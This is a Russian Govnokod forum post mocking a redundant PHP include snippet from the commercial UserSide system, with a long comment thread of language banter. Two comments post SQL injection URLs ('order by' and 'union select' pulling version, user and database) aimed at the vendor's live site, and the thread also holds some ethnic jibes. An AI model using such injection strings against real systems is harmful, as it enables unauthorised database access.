1. PHP / Говнокод #9106

    +167

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    $zfunctv=0;
    if ($zfunctv==1 || $zfunctv==2 || $zfunctv==3 || $zfunctv==4) require_once('function1.php');
    if ($zfunctv==2 || $zfunctv==3) require_once('function2.php');
    if ($zfunctv==3 || $zfunctv==4) require_once('function3.php');
    if ($zfunctv==''){
    	require_once('function1.php');//Для всех окон
    	require_once('function2.php');//Для полноразмерных окон
    	require_once('function3.php');//Для оборудования
    	require_once('admfunct.php');
    }

    Какого хрена? Как это работает?! Код коммерческой системы UserSide v2.48

    Запостил: Neka, 13 Января 2012

    Комментарии (46) RSS

    • Ну если $zfunctv=0; идет сразу перед условием, то просто инклудится 4 файла. Или ни одного.
      Не знаю, сработает ли if ($zfunctv==''), так как никогда не играюсь с неявным приведением типов.
      Ответить
    • потрясная логика.
      Ответить
    • Ок, 2-4 строки зачем? Туда же идет 5 и 10 строки. Да и нахер ВЕСЬ код ВСЕЙ системы идут в жопу:) http://userside.ua/light.php - скачай, посмотри (у нас платная версия)
      Ответить
      • Смею предположить, что, может, переменная имеет разные значения в разных поставках cms и таким образом включается/отключается функционал. Потому что иначе бы такой параметр вынесли бы куда-нибудь в конфиг, например.
        Ответить
        • И оказываетесь не правы!) Версий всего 2 - lite и за бабки. Выключение функционала таким способом - еще больший говнокод))
          И это не система управления контентом, а "ERP-система планирования ресурсов предприятия профиля "услуги интернет доступа"" млять!
          Ответить
      • скачал, посмотрел. говно говном.
        Ответить
      • скачал, посмотрел. говно говном.
        p.s зато много материала для размещения на этом сайте :)
        Ответить
        • Утверждение выше как бы справедливо для всего PHP кода, кроме закрытого.
          Ответить
          • кроме удаленного
            fixed
            Ответить
            • закрытость позволяет истово веровать, что код не говно
              солипсизм третьей степени и всё такое
              код превращается в почти шоколад
              Ответить
              • Часть говнистости вполне выявляется по ответам чёрного ящика. Не вариант.
                Ответить
          • не согласен. хотя каждому своё.
            Ответить
            • Да это фича ГК такая в разделе php писать php - язык говно, в разделе java писать java - говно. Цель подобных фраз срубить себе прорву + или вызвать очереной срачь. Я так скажу говно оно в голове. Если все делать приавильно, то пых очень годный язык.
              Ответить
              • Однако же разница между разделами есть: джависты с утверждением "java - говно" соглашаются, а php-шники предпочитают люто восхвалять свой езык праграмирования.
                Ответить
                • Не буду говорить про Java, так как плотно с ней не работал, но РНР мне нравится целиком и полностью, когда он в "своей колее".
                  Но когда за дело берутся говнокодеры типо автора этого - то любой язык в их руках магическим образом становится говном:)
                  Ответить
                  • Говорят, что этот язык провоцирует на говнокод.
                    Ответить
                    • А какой НЕ провоцирует?
                      Ответить
                      • русский.
                        Ответить
                        • Та що ви розмовляєте?!
                          Ответить
                          • неграмотный, даже каклосрача не способен разжечь
                            Ответить
                            • Звідки єврею Левіну знати нашу рідну мову?
                              Ответить
                              • дык очень даже мог бы, в том то и дело
                                http://ru.wikipedia.org/wiki/%D0%A7%D0%B5%D1%80%D1%82%D0%B0_%D0%BE%D1 %81%D0%B5%D0%B4%D0%BB%D0%BE%D1%81%D1%82% D0%B8
                                Ответить
                            • Граматикгетьман, блин... Это гугель неграмотный, неужели не видно?
                              Ответить
                      • Хрен знает. Какой-нибудь промышленный, который делали с царём в голове, а не финно-иудеи на коленке.
                        Джва года жду пхп шесть, чисто посмотреть. Авось, доведут до ума.
                        Ответить
                        • > Какой-нибудь промышленный, который делали с царём в голове
                          Erlang?
                          Ответить
                        • Чего его смотреть-то? Просто продолжай кодить на своем питоне, руби, etc.
                          Глядишь, и не родится еще один РНР-говнокодер:) No offence.
                          Ответить
                    • Да не провоцирует, просто порог вхождения низкий даже не столько из-за самого языка, сколько из-за круга задач которые на нем решаются. Вот и понаехало джамшутов от программирования в пых...
                      Ответить
                      • Угу, а java не провоцирует на оверинжинириг
                        Ответить
                        • Не провоцирует.
                          Просто паттерны - это модно, стильно, молодёжно. Как и хранить все что только можно в xml-конфигах, например.
                          Ответить
                          • нынче в моде yaml
                            Ответить
                            • J2SE cannot into YAML.
                              Или в седьмой они класс Properties расширили?
                              Ответить
                              • yaml, к сожалению, жабе не свойственнен (разве что в play framework). Зато он вроде пользуется популярностью у python/ruby разработчиков. Хороший формат для конфигов, годный.
                                Ответить
                      • Да ладно. Сейчас потихоньку отмирает, а раньше столько всяких косяков было, что по минному полю ходить безопаснее. Одно приведение типов наибезумнейшее чего стоит.
                        Ответить
                      • http://theimba.ru/pro-pasta-pro-yap
                        Ответить
          • Наша компания является владельцем платной версии. Я подтверждаю, что утверждение выше справедливо ДЛЯ КАЖДОЙ строчки этого продукта.
            Ответить
    • по идее скульку можно раскрутить в админке http://userside.ua/userside/oper/house.php?type=show&code=102+order+by+1
      Ответить
      • да вот и скуля, наверняка и в клиентской части есть скули
        http://userside.ua/userside/oper/sklad.php?type=showpostav&code=-1+union+select+1,version(),user(),databa se(),5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20
        Ответить
      • Ололо, на онтечад?
        Ответить
        • Дядька бородат и никогда не слышал про этот ваш "онтечад". И вообще у вас какае-то странная манера изложения, как у школьника какого-то, ей богу ...
          Ответить
          • > бородат
            Тролль, лжец и девственник?
            Ответить

    Добавить комментарий